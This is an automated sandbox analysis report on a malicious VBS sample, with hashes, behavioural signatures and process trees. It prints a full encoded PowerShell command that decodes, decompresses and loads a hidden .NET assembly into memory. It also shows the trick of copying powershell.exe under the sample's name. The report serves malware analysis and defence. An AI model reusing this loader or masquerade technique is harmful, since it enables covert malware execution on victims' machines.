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Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/09/2024, 11:53
Static task
static1
Behavioral task
behavioral1
Sample
870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs
Resource
win10v2004-20240802-en
General
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Target
870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs
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Size
2.4MB
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MD5
bd7a77c470549aad52435b8b7b785c36
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SHA1
b18ff781161ff4c4bb3e91825053bed3d280ed20
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SHA256
870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371
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SHA512
7217805ec612b984672c4cd498b0cc3d8e9cc463fab70bef0fdd96276f1fe93425e03777999c266a876161444699bb09738d2b19154b378316af6118cc48445a
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SSDEEP
49152:xBy7kDIlpNx0KQTuJlDl7QVqXhmfOUJ3bapil:a1o
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1816 1736 cmd.exe 30 -
Executes dropped EXE 1 IoCs
pid Process 2740 870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2740 870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2740 870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3052 wrote to memory of 2740 3052 WScript.exe 33 PID 3052 wrote to memory of 2740 3052 WScript.exe 33 PID 3052 wrote to memory of 2740 3052 WScript.exe 33 PID 3052 wrote to memory of 2740 3052 WScript.exe 33
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe"C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe" -enc JABDAGoAbgB4AHYAeABrAGUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABPAHQAcgBnAGYAagBkACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQwBqAG4AeAB2AHgAawBlAG0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQBzAGwAeQByAGkAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABPAHQAcgBnAGYAagBkAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABJAGQAegByAGsAZQB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHMAbAB5AHIAaQBvACAAKQA7ACQAUAB6AHIAagBnAG0AegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwBiAHkAaABnAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASQBkAHoAcgBrAGUAeQAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUwBiAHkAaABnAHMALgBDAG8AcAB5AFQAbwAoACAAJABQAHoAcgBqAGcAbQB6ACAAKQA7ACQAUwBiAHkAaABnAHMALgBDAGwAbwBzAGUAKAApADsAJABJAGQAegByAGsAZQB5AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAVQBzAGwAeQByAGkAbwAgAD0AIAAkAFAAegByAGoAZwBtAHoALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFUAcwBsAHkAcgBpAG8AKQA7ACAAJABMAHgAZQBzAG4AaQB2AGMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAFUAcwBsAHkAcgBpAG8AKQA7ACAAJABDAGMAdABqAG4AawBjAHoAIAA9ACAAJABMAHgAZQBzAG4AaQB2AGMAaAAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEMAYwB0AGoAbgBrAGMAegAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQAQwBjAHQAagBuAGsAYwB6AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:1816
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\870be08f4682007c1ae7a069a63b8e737dc388b6551ebfb0a96a310d9c996371.vbs.exe
Filesize442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f